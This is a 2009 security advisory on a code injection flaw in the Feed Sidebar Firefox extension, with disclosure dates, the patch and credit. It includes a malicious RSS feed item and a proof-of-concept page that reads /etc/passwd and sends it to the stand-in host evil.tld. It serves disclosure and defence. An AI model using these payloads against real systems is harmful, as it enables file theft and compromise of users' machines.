



Vulnerability Advisory

Name	Feed Sidebar (Mozilla Firefox Extension) – Code Injection Vulnerability
Date Released	August 24, 2009
Affected Software	Feed Sidebar < 3.2
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Description

The Feed Sidebar Firefox extension will generate a preview of any RSS item, from feeds you have currently subscribed to.

Security-Assessment.com discovered that Feed Sidebar is vulnerable to multiple injection vulnerabilities which can be exploited through a malicious RSS feed. Cross-Site Scripting and HTML injection vulnerabilities were discovered within the RSS <description> tags of subscribed feeds.

Feed Sidebar directly evaluates remotely supplied content, within the privileged chrome context. This occurs when a user clicks on a feed item in the Feed Sidebar, rendering a preview of the feed item at the bottom of the sidebar. This can allow a remote feed to exploit users browsing it, and may lead to the complete compromise of the host.

An example of a malicious RSS feed item has been included below:

Example of a Malicious RSS Feed Item

```
<item>
  <title>Malicious Feed Item</title>
  <link>http://examplesite.tld </link>
  <description>Some text here<iframe src=&quot;data:text/html;base64,base64encodedJS&quot;&gt;
  &lt;/iframe&gt;</description>
</item>
```

This vulnerability has been patched. See the Solution section of this document for more information.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the chrome privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Mozilla built-in XPCOM components. XPCOM components can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify other Firefox extensions.

Included below is an example exploit which should be base64 encoded and included in the malicious feed item above. Base64 encoding is required to bypass filtering of <script> tags. This exploit demonstrates reading files from the victim's file system into an iframe, then sending the contents of the iframe as an HTTP parameter to an external website. This can be used to browse the file system of the victim as well as stealing files.

Example Remote File Reading Exploit

```
<html><head><script>function s(){
x = document.getElementById("test").contentWindow;
document.location='http://evil.tld/?'+unescape(x.document.getElementsByTagName('body')[0].innerHTML);}<
/script></head>
<body><iframe src="view-source:file:///etc/passwd" id="test"></iframe>
<script>setTimeout('s()',3000); </script></body></html>
```

For more details regarding exploitation of this vulnerability, refer to our DEFCON 17 presentation at http://security-assessment.com/files/presentations/liverani_freeman_abusing_firefox_extensions_defcon17.pdf.



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Solution

Security-Assessment.com follows responsible disclosure and promptly contacted the developer after discovering the issue. The developer was contacted on March 4, 2009, and a response was received on the following day. A fix was released on March 14, 2009.

The vendor supplied patch is available from Mozilla (<https://addons.mozilla.org/en-US/firefox/addon/4869>) or from the developer's personal website, <http://chrisfinke.com/addons/feedbar/>.

Credit

Discovered and advised to the Feed Sidebar developer March 2009 by Nick Freeman of Security-Assessment.com.

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About Security-Assessment.com

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